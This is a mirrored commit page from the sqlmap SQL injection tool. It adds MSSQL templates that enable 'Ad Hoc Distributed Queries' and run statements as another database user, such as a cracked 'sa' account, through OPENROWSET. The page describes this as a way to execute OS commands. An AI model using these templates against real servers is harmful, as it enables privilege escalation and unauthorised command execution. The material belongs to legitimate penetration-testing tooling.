mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-08-04 06:50:14 +00:00
initial support for --dbms-cred for MSSQL: can be used to execute OS commands as another DB use - useful if you have retrieved and cracked the 'sa' DBA password by any mean and can provide it to sqlmap
This commit is contained in:
parent
87951bcff8
commit
6697927098
6 changed files with 62 additions and 5 deletions
6
procs/mssqlserver/configure_openrowset.txt
Normal file
6
procs/mssqlserver/configure_openrowset.txt
Normal file
|
|
@ -0,0 +1,6 @@
|
|||
EXEC master..sp_configure 'show advanced options', 1;
|
||||
RECONFIGURE WITH OVERRIDE;
|
||||
EXEC master..sp_configure 'Ad Hoc Distributed Queries', %ENABLE%;
|
||||
RECONFIGURE WITH OVERRIDE;
|
||||
EXEC sp_configure 'show advanced options', 0;
|
||||
RECONFIGURE WITH OVERRIDE;
|
||||
1
procs/mssqlserver/run_statement_as_user.txt
Normal file
1
procs/mssqlserver/run_statement_as_user.txt
Normal file
|
|
@ -0,0 +1 @@
|
|||
SELECT * FROM OPENROWSET('SQLOLEDB','';'%USER%';'%PASSWORD%','%STATEMENT%');
|
||||
Loading…
Add table
Add a link
Reference in a new issue